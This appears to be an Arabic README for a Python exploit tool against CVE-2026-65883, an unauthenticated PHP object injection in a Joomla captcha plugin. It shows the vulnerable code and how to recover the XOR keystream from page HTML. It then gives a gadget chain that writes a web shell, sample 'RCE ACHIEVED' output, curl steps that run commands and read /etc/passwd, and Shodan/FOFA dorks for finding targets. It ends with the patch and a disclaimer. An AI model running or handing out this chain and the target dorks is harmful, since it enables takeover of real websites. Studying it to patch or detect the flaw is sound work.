
Aimy Captcha-Less Form Guard مكوّن جوملا: حقن كائنات PHP وتنفيذ برمجيات عن بُعد (RCE). استعادة تدفق المفتاح XOR في clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
حقن كائنات PHP بدون مصادقة في Aimy Captcha-Less Form Guard لـ Joomla. تقوم طريقة onCheckAnswer() بفك ترميز base64 لحقل POST clfgd الذي يتحكم به المهاجم، وتمرّره عبر XOR بمفتاح متكرر، ثم تمرر النتيجة مباشرة إلى unserialize() — بدون HMAC، وبدون تقييد allowed_classes، وبدون أي فحص تكامل.
| الحالة | الإصدار |
|---|---|
| قابل للاستغلال | 18.0 — 20.0 |
| تم التصحيح | 20.1 (29 يوليو 2026) |
تمرر طريقة onCheckAnswer() في plg_captcha_aimycaptchalessformguard المدخلات التي يتحكم بها المهاجم مباشرة إلى unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
إن "تشفير" XOR هو في الحقيقة شيفرة Vigenère بمفتاح خاص بكل جلسة — بلا مصادقة، مجرد إخفاء للمعلومات.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
يعرض المكوّن الإضافي كلاً من النص المشفَّر والنص الصريح في نفس استجابة HTML:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
بما أن كلاً من trap_ids (القابلة للاستخراج من <span id="..._mark"> وحقل honeypot) والنص المشفَّر موجودان في HTML، فإن إجراء XOR بينهما يستعيد ~94 بايت من تدفق المفاتيح البالغ 231 بايت.
clfgd + trap_ids + التوقيت → استعادة 94 بايت من تدفق المفاتيحFormattedtextLogger مُسلسَل بحيث تقع البايتات البنيوية على مواضع معروفة من تدفق المفاتيحclfgd مُصمم → unserialize() → __destruct() → formatLine() → كتابة قشرة ويب PHP/random.php?c=id → RCE بصلاحيات www-data$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
لا يمكن لـ json_decode() إنشاء كائنات PHP — وبذلك تنقطع سلسلة أدوات POP.
هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.
غير مرتبط بـ Aimy Extensions أو VulnCheck.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-65883 |
| المنتج | Aimy Captcha-Less Form Guard (إضافة Joomla) |
| CVSS 4.0 | 10.0 (حرجة) |
| النوع | CWE-502 — إلغاء تسلسل بيانات غير موثوقة |
| المتأثر | 18.0 — 20.0 |
| تم التصحيح | 20.1 (29 يوليو 2026) |
| الاكتشاف | Valentin Lobstein (Chocapikk) / VulnCheck — 26 يوليو 2026 |
| المصدر | الرابط |
|---|
| مدونة VulnCheck | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| مركز IONIX للتهديدات | ionix.io/threat-center/cve-2026-65883 |
| سجل CVE | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |